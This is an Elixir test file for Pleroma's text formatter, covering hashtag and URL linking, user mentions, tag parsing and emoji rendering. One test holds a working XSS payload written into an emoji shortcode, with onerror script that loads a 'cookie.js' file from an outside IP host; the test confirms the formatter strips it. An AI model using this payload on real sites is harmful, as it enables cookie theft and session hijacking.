defmodule Pleroma.FormatterTest do alias Pleroma.Formatter alias Pleroma.User use Pleroma.DataCase import Pleroma.Factory describe ".add_hashtag_links" do test "turns hashtags into links" do text = "I love #cofe and #2hu" expected_text = "I love <a href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>" tags = Formatter.parse_tags(text) assert expected_text == Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize() end end describe ".add_links" do test "turning urls into links" do text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ." expected = "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ." assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected text = "https://mastodon.social/@lambadalambda" expected = "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>" assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected text = "https://mastodon.social:4000/@lambadalambda" expected = "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>" assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected text = "@lambadalambda" expected = "@lambadalambda" assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected text = "http://www.cs.vu.nl/~ast/intel/" expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>" assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087" expected = "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>" assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul" expected = "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>" assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected text = "https://www.google.co.jp/search?q=Nasim+Aghdam" expected = "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>" assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected text = "https://en.wikipedia.org/wiki/Duff's_device" expected = "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>" assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected text = "https://pleroma.com https://pleroma.com/sucks" expected = "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>" assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected text = "xmpp:contact@hacktivis.me" expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>" assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected text = "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com" expected = "<a href=\"#{text}\">#{text}</a>" assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected end end describe "add_user_links" do test "gives a replacement for user links" do text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me" gsimg = insert(:user, %{nickname: "gsimg"}) archaeme = insert(:user, %{ nickname: "archaeme", info: %{"source_data" => %{"url" => "https://archeme/@archaeme"}} }) archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) mentions = Pleroma.Formatter.parse_mentions(text) {subs, text} = Formatter.add_user_links({[], text}, mentions) assert length(subs) == 3 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end) expected_text = "<span><a class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a class='mention' href='#{ "https://archeme/@archaeme" }'>@<span>archaeme</span></a></span>, that is @daggsy. Also hello <span><a class='mention' href='#{ archaeme_remote.ap_id }'>@<span>archaeme</span></a></span>" assert expected_text == Formatter.finalize({subs, text}) end test "gives a replacement for user links when the user is using Osada" do mike = User.get_or_fetch("mike@osada.macgirvin.com") text = "@mike@osada.macgirvin.com test" mentions = Formatter.parse_mentions(text) {subs, text} = Formatter.add_user_links({[], text}, mentions) assert length(subs) == 1 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end) expected_text = "<span><a class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test" assert expected_text == Formatter.finalize({subs, text}) end test "gives a replacement for single-character local nicknames" do text = "@o hi" o = insert(:user, %{nickname: "o"}) mentions = Formatter.parse_mentions(text) {subs, text} = Formatter.add_user_links({[], text}, mentions) assert length(subs) == 1 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end) expected_text = "<span><a class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi" assert expected_text == Formatter.finalize({subs, text}) end test "does not give a replacement for single-character local nicknames who don't exist" do text = "@a hi" mentions = Formatter.parse_mentions(text) {subs, text} = Formatter.add_user_links({[], text}, mentions) assert length(subs) == 0 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end) expected_text = "@a hi" assert expected_text == Formatter.finalize({subs, text}) end end describe ".parse_tags" do test "parses tags in the text" do text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。" expected = [ {"#Test", "test"}, {"#working", "working"}, {"#漢字", "漢字"}, {"#は", "は"} ] assert Formatter.parse_tags(text) == expected end end test "it can parse mentions and return the relevant users" do text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me" gsimg = insert(:user, %{nickname: "gsimg"}) archaeme = insert(:user, %{nickname: "archaeme"}) archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) expected_result = [ {"@gsimg", gsimg}, {"@archaeme", archaeme}, {"@archaeme@archae.me", archaeme_remote} ] assert Formatter.parse_mentions(text) == expected_result end test "it adds cool emoji" do text = "I love :moominmamma:" expected_result = "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />" assert Formatter.emojify(text) == expected_result end test "it does not add XSS emoji" do text = "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" custom_emoji = %{ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => "https://placehold.it/1x1" } expected_result = "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />" assert Formatter.emojify(text, custom_emoji) == expected_result end test "it returns the emoji used in the text" do text = "I love :moominmamma:" assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}] end test "it returns a nice empty result when no emojis are present" do text = "I love moominamma" assert Formatter.get_emoji(text) == [] end test "it doesn't die when text is absent" do text = nil assert Formatter.get_emoji(text) == [] end end